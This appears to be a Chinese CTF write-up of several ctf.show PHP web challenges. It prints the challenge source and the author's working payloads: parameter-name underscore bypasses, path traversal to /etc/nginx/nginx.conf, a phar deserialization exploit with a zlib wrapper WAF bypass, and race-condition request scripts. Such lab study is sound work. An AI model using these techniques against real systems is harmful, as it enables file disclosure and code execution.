veryphp
<?php error_reporting(0); highlight_file(__FILE__); include("config.php"); class qwq { function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); } } $str = file_get_contents("php://input"); if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); } if(isset($shaw_root)){ if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ echo $hint; }else{ echo "Almost there."."<br>"; } }else{ echo "<br>"."Input correct parameters"."<br>"; die(); } if($ans===$SecretNumber){ echo "<br>"."Congratulations!"."<br>"; call_user_func($my_ans); }
Input correct parameters
|
PHP的字符串解析特性Bypass
https://www.freebuf.com/articles/web/213359.html

PHP函数call_user_func和call_user_func_array详解:
https://www.jianshu.com/p/07c3f1e4c309
<?php
function func($a, $b){ echo $a."\r\n"; echo $b."\r\n"; }
call_user_func('func', 1, 2);
call_user_func_array("func", array(3, 4));
|
c呀
正则看不懂!!!😫😫😫
也不能直接读phpinfo
过滤了字母!!!tnl
学一下:



payload:
shaw[root=-a9<b>aaaadadadaa>>>>abcp@Rsd
|
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
|
exp:
<?php
for($i=10000; $i<=99999; $i++){ if(md5("shaw".($i)."root")=="166b47a5cb1ca2431a0edfcef200684f"){ echo $i; break; } }
21475
|
payload
my[ans=qwq::oao&shaw[root=222&ans=21475
|
注意最后是在bp里做!
不然有点问题!老是解析不了下划线!
call_user_func() 方法使用
https://blog.csdn.net/u011323949/article/details/103890276?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control
https://blog.csdn.net/qq_34629975/article/details/84581479?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control
测试
<?php
class qwq { function pp(){ die("Access Denied!"); } static function oao(){ echo 1111; } } extract($_POST); var_dump($_POST);
if($ans===$SecretNumber){ echo "<br>"."Congratulations!"."<br>"; call_user_func($my_ans); }
|
1. 直接回调非静态方法
call_user_func('my_callback_function');
2.类静态方法回调
all_user_func('MyClass::myCallbackMethod');
3.对象方法回调
call_user_func(array($obj, 'myCallbackMethod'));
|
大佬不说我都看没见是静态方法!其实看见了也没用!我脑子里没东西!🙄
学习!!!👾
spaceman
<?php error_reporting(0); highlight_file(__FILE__); class spaceman { public $username; public $password; public function __construct($username,$password) { $this->username = $username; $this->password = $password; } public function __wakeup() { if($this->password==='ctfshowvip') { include("flag.php"); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('ctfshowup','ctfshow',$string); } $str = file_get_contents("php://input"); if(preg_match('/\_|\.|\]|\[/is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); } $ser = filter(serialize(new spaceman($user_name,$pass_word))); $test = unserialize($ser); ?> wrong password
|
用url编码绕过下划线的时候发现!
浏览器发送的user%5Fname=111&pass%5Fword=111
user%255Fname=111&pass%255Fword=111
数据会先url编码一次!
等传到服务器里再解码!
那我们就用bp放包!避免传到服务器里的数出错!

好奇怪!我浏览器是正常的_
可是传到bp里还是两次url编码!
payload
user%5Fname=adadad&pass%5Fword=ctfshowvip
|
虎山行
https://xz.aliyun.com/t/6968

感觉他这个cms这里有任意文件读取漏洞!
发现任意文件读取!
但是flag找不到!!!
这个题不能任意文件读取这麽简单!
又看了看好像可以上传webshell!
看了半天!😶不知道咋搞!感觉写到.dat里的shell没用呀!是不是后面还有包含!
/etc/nginx/nginx.conf
http://e2394048-d5e9-43e9-9156-b2f00959c562.chall.ctf.show/mc-admin/page-edit.php?file=../../../../../../../etc/nginx/nginx.conf
|
第一关phar反序列化
日了:
ctfshowsecretfilehh居然在网址目录下!!!
当时没想到!!!
当时:

这样读!发现读不出来!!!😫😫😫
http://0a53f2d2-be2a-4f23-a76a-7e8af7c1b556.chall.ctf.show/ctfshowsecretfilehh/
|
<?php highlight_file(__FILE__); error_reporting(0); include('waf.php'); class Ctfshow{ public $ctfer = 'shower'; public function __destruct(){ system('cp /hint* /var/www/html/hint.txt'); } } $filename = $_GET['file']; readgzfile(waf($filename)); ?>
|
但是直接读里面的waf.php有不行!估计没有highlight_file(FILE);
还是用任意文件读取的点来读取!!!
file=../../../../../../../var/www/html/ctfshowsecretfilehh/waf.php
|
waf.php
<?php function waf($file){ if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){ die("姿势太简单啦,来一点骚的?!"); }else{ return $file; } }
|

看了大佬们的东西学到了!!!
在url/mc-admin/post.php
有个文件上传的地方,点击跳转到url/upload.php
,那么上传的部分就ok啦,接下来看waf,从正则当中可以看见,从传入的参数头开始匹配,不能出现里面的非法字符,那么尝试绕过即可
这里采用zlib绕过,当然
exp
<?php class Ctfshow{ } $phar = new Phar("b.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar-> addFromString('test.txt','test'); $o = new Ctfshow(); $phar->setMetadata($o); $phar->stopBuffering(); ?>
|
先看上传文件的格式!!!
e7d629e0
随便找了一个 5c1c1127
5bf3e031
72834e32
|
http://0a53f2d2-be2a-4f23-a76a-7e8af7c1b556.chall.ctf.show/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/e7d629e0.gif
|
第二关条件竞争
flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
<?php show_source(__FILE__); $unser = $_GET['unser']; class Unser { public $username='Firebasky'; public $password; function __destruct() { if($this->username=='ctfshow'&&$this->password==(int)md5(time())){ system('cp /ctfshow* /var/www/html/flag.txt'); } } } $ctf=@unserialize($unser); system('rm -rf /var/www/html/flag.txt');
|
注意他那里有一个弱比较!!!
md5(time())后转转整型!大部分都是0;
而且整型序列化没有长度!!!
啊偶!!!找到bug直接

一直条件竞争就可以了!!!
payload
O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}
|


exp
<?php class Unser { public $username='ctfshow'; public $password; function __construct(){ $this->password=(int)md5(time()); } }
$a = new Unser(); $c = serialize($a); echo $c; echo md5(time());
|
poc1
import hashlib import requests import time def MD5(str): hl = hashlib.md5() hl.update(str.encode()) return hl.hexdigest() if __name__ == '__main__': url = 'http://f8c8d351-88ec-499f-a04f-392794b4d088.chall.ctf.show/ctfshowgetflaghhhh/' while True: x = MD5(str(int(time.time()))) params = { 'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}' } res = requests.get(url=url,params=params)
|
md5的长度,默认为128bit,也就是128个0和1的二进制串。 … 所以将二进制转成了16进制,每4个bit表示一个16进制, 所以128/4 = 32 换成16进制表示后,为32位了。
所以上面的脚本!最后传进去一个32位的16进制字符串!因为是弱比较!只会比较字符串里数字部分!那肯定一样了!py还是不会写!但是要看懂!

php里时间直接默认整数!
poc2
再看大佬写的php脚本!:
<?php class Unser { public $username='ctfshow'; public $password; function __construct(){ $this->password=(int)md5(time()); } }
function curl_get($url){
$header = array( 'Accept: application/json', ); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 1);
curl_setopt($curl, CURLOPT_HTTPHEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); $data = curl_exec($curl);
}
while(true){ $a = new Unser(); $c = serialize($a); echo $c."\n"; $url = 'http://ad952e8f-5593-40ca-a1ce-f2aebbd01257.chall.ctf.show/hsxctfshowsecretgetflagl/?unser='.$c; echo $url."\n"; curl_get($url); }
|
PHP 利用 curl 发送 post get del put patch 请求
<?php class Unser { public $username='ctfshow'; public $password; function __construct(){ $this->password=(int)md5(time()); } }
function geturl($url){ $headerArray =array("Content-type:application/json;","Accept:application/json"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray); $output = curl_exec($ch); curl_close($ch); $output = json_decode($output,true); return $output; }
while(true){ $a = new Unser(); $c = serialize($a); echo $c."\n"; $url = 'http://f8c8d351-88ec-499f-a04f-392794b4d088.chall.ctf.show/ctfshowgetflaghhhh/?unser='.$c; echo $url."\n"; geturl($url); }
|
服了好像直接
http://ad952e8f-5593-40ca-a1ce-f2aebbd01257.chall.ctf.show/hsxctfshowsecretgetflagl 后面不加上/不行! 哦哦! 不加上/表示hsxctfshowsecretgetflagl这个文件!可是没有这个文件!!! 还是tcl!!! 所以加上 http://ad952e8f-5593-40ca-a1ce-f2aebbd01257.chall.ctf.show/hsxctfshowsecretgetflagl/ 脚本就正常运行了! 因为他会默认找到该目录下的index.php 知道了!! tnl😶
|
有手就行
上来密码直接看懵!!!🙄
还是不能怂!!!
当时有点怂!没事路就没看了!!!
因为当时看到最后以为是ok加密!!没想到全是base64
当时以为只有一部分是base64!
tcl

把/?file=scan换成
/?file=flag

后面逆向!!!
还是去玩web把!!!tcl
官方wp
https://www.cnblogs.com/erR0Ratao/p/14322319.html#%E6%9C%89%E6%89%8B%E5%B0%B1%E8%A1%8C